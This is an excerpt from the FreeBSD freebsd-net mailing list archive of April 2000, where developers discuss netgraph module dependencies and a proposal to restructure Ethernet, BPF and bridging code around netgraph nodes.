key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sat Apr 22 18:45:30 2000 Delivered-To: freebsd-net@freebsd.org Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by hub.freebsd.org (Postfix) with ESMTP id C8A9E37B8F4; Sat, 22 Apr 2000 18:45:16 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.2) id SAA17203; Sat, 22 Apr 2000 18:44:35 -0700 (PDT) From: Archie Cobbs Message-Id: <200004230144.SAA17203@bubba.whistle.com> Subject: Re: NETGRAPH in GENERIC? In-Reply-To: <200004211753.KAA84271@gto.networkphysics.com> from Tom Pavel at "Apr 21, 2000 10:53:18 am" To: pavel@NetworkPhysics.COM (Tom Pavel) Date: Sat, 22 Apr 2000 18:44:35 -0700 (PDT) Cc: freebsd-net@FreeBSD.ORG, rwatson@FreeBSD.ORG (Robert Watson), julian@elischer.org X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Tom Pavel writes: > Because the ethernet nodes are only created if /sys/net/if_ethersubr.c > is compiled with -DNETGRAPH, I think the netgraph.ko module is > completely useless and that the netgraph system only works if option > NETGRAPH is in the kernel config. This is essentially what Robert > said, but I may be overstating the point (for example, if one is only > interested in serial-line netgraph uses without ethernet). netgraph.ko is not completely useless -- it's only useless for the ng_ether node type. Other node types work fine even if you didn't compile the kernel with -DNETGRAPH. The netgraph.ko gets loaded dynamically and everthing more or less works. The reason net/if_ethersubr.c has #ifdef NETGRAPH everywhere is so that the base netgraph code would not always be required in the kernel, i.e., it could be made into the KLD netgraph.ko and the netgraphobic could keep it out of their kernels. There are two possible resolutions to this situation.. 1. Extract the netgraph code out of net/if_ethersubr.c and build a separate ng_ether.ko netgraph KLD. Add hooks in net/if_ethersubr.c to call the netgraph stuff through function pointers that get set by the KLD when it loads.. similar to the way ipfw.ko works. 2. Always compile the base netgraph.ko module into the kernel Option #1 would be best because option #2, even though the base netgraph code is small, would be bad for things like PicoBSD. Maybe I'll work on #1.. it shouldn't be too hard. > I propose, however, that having "KMODDEPS=netgraph" in all of the > /sys/modules/netgraph/*/Makefile is a mistake, and should be removed. > This causes the problem with double copies of the netgraph base code > that I reported in the Mar.19 posting cited above, which makes > netgraph streams completely fail. I've tested netgraph modules > without the dependency, and they work fine for me (with option > NETGRAPH and NETGRAPH_SOCKET compiled into my kernel). No, KMODDEPS=netgraph is correct and required -- the real problem is in the module mechanism, in that it doesn't properly detect that the netgraph module is already part of the kernel and loads it again via the KLD. Semi-related PR's: kern/17393 kern/11928 kern/17751 kern/11919 -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sat Apr 22 21:13:34 2000 Delivered-To: freebsd-net@freebsd.org Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by hub.freebsd.org (Postfix) with ESMTP id 2480637B7D5; Sat, 22 Apr 2000 21:13:28 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.2) id VAA17652; Sat, 22 Apr 2000 21:11:45 -0700 (PDT) From: Archie Cobbs Message-Id: <200004230411.VAA17652@bubba.whistle.com> Subject: Proposal for ethernet, bridging, netgraph To: pavel@alum.mit.edu, nsayer@sftw.com, julian@elischer.org, luigi@freebsd.org Date: Sat, 22 Apr 2000 21:11:45 -0700 (PDT) Cc: freebsd-net@freebsd.org X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org So, I've got a proposal :-) These are not all my ideas, but here they are collected in one place.. The current situation with Ethernet drivers, Bridging, BPF, and Netgraph is that it's all a bit klugey and gross. As evidence of this, every single Ethernet driver (I've counted 45) must contain the same duplicated code to handle both BPF and bridging.. The reason for this being that both of these require putting the device in promiscuous mode, but ether_input() is only supposed to get "real" packets, and so the driver must "shield" ether_input() from seeing packets which it wouldn't normally see. However, BPF and bridging must be "unshielded". The result is that each driver has to contain logic to handle BPF and briding, because by the time packets get to ether_input(), it's too late. So, the first part of the proposal is: 1 Move the BPF and BRIDGE code out of all of the Ethernet drivers and put it into ether_input() 2 Add a new parameter to ether_input() which a driver will set to non-zero indicating ``IFF_PROMISC was set and this packet came in, but it's not really supposed to be received so don't send it up the networking stack.'' Secondly, the ng_ether netgraph node is not as elegant as it could be. For example, it should be possible to do bridging using a "ng_bridge" netgraph node.. but that's not possible right now. Also, you have to compile your kernel with options NETGRAPH in order to get netgraph node Ethernet support.. there's no ng_ether.ko KLD. So, the next part of the proposal.. 3 Move the netgraph part of if_ethersubr.c into a new file ng_ether.c and make it so the Ethernet node type can be a KLD and still work. 4 Change the ng_ether node type to have these two hooks: "device" -- connection down to the raw Ethernet device "stack" -- connection to the Ethernet stack and upper stacks 5 Add netgraph control messages to get the associated interface name and index, so that it's possible to set promiscuous mode, multicast addresses, etc. by: from the kernel - getting the interface structure (using ifindex2ifnet[if_index]), and then calling ifioctl() (small note: ifioctl() will be made to handle p == NULL) from userland - using the normal ioctl() mechanism 6 Minor fix to ppp(8), etc. to handle different ng_ether hook names Re #4: When neither hook is connected, they are effectively connected together -- i.e., the interface functions normally. Otherwise, you get the obvious data connection, allowing both sending and recieving raw frames to the device, but also input/output from the Ethernet stack associated with the interface. Filtering Ethernet frames based on interface would be easy .. etherfw(8) anyone? :-) Finally.. 6 Convert BRIDGE into a netgraph node. This would make it more powerful because you could do bridging on any arbitrary subset of interfaces. 7 (Optional) Remove existing BRIDGE support in favor of netgraph version Only if people want to for simplicity. What do people think? -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sat Apr 22 23:30: 4 2000 Delivered-To: freebsd-net@freebsd.org Received: from wint.itfs.nsk.su (wint.itfs.nsk.su [212.20.32.43]) by hub.freebsd.org (Postfix) with ESMTP id EBB7B37B631 for ; Sat, 22 Apr 2000 23:30:00 -0700 (PDT) (envelope-from nnd@wint.itfs.nsk.su) Received: (from nnd@localhost) by wint.itfs.nsk.su (8.9.3/8.9.3) id NAA70599; Sun, 23 Apr 2000 13:29:57 +0700 (NOVST) (envelope-from nnd) Date: Sun, 23 Apr 2000 13:29:57 +0700 (NOVST) Message-Id: <200004230629.NAA70599@wint.itfs.nsk.su> From: Nickolay Dudorov To: net@freebsd.org Subject: Re: NETGRAPH in GENERIC? In-Reply-To: <200004230144.SAA17203@bubba.whistle.com> User-Agent: tin/1.4.2-20000123 ("Polish") (UNIX) (FreeBSD/5.0-CURRENT (i386)) Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In <200004230144.SAA17203@bubba.whistle.com> Archie Cobbs wrote: > There are two possible resolutions to this situation.. > > 1. Extract the netgraph code out of net/if_ethersubr.c and build a > separate ng_ether.ko netgraph KLD. Add hooks in net/if_ethersubr.c > to call the netgraph stuff through function pointers that get > set by the KLD when it loads.. similar to the way ipfw.ko works. > > 2. Always compile the base netgraph.ko module into the kernel > > Option #1 would be best because option #2, even though the base > netgraph code is small, would be bad for things like PicoBSD. > Maybe I'll work on #1.. it shouldn't be too hard. It seems to me that the best solution will be #2 plus kernel config option to DISABLE compiling netgraph in. N.Dudorov To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sat Apr 22 23:40: 8 2000 Delivered-To: freebsd-net@freebsd.org Received: from Draculina.otdel-1.org (Draculina.Otdel-1.ORG [195.230.65.30]) by hub.freebsd.org (Postfix) with ESMTP id D648637B654; Sat, 22 Apr 2000 23:40:05 -0700 (PDT) (envelope-from nms@otdel-1.org) Received: by Draculina.otdel-1.org (Postfix, from userid 1002) id 12C84232; Sun, 23 Apr 2000 10:40:03 +0400 (MSD) Date: Sun, 23 Apr 2000 10:40:02 +0400 From: Nikolai Saoukh To: Archie Cobbs Cc: pavel@alum.mit.edu, nsayer@sftw.com, julian@elischer.org, luigi@freebsd.org, freebsd-net@freebsd.org Subject: Re: Proposal for ethernet, bridging, netgraph Message-ID: <20000423104002.A31485@Draculina.otdel-1.org> References: <200004230411.VAA17652@bubba.whistle.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200004230411.VAA17652@bubba.whistle.com>; from archie@whistle.com on Sat, Apr 22, 2000 at 09:11:45PM -0700 Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, Apr 22, 2000 at 09:11:45PM -0700, Archie Cobbs wrote: > What do people think? Do not throw token-ring from the bath. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message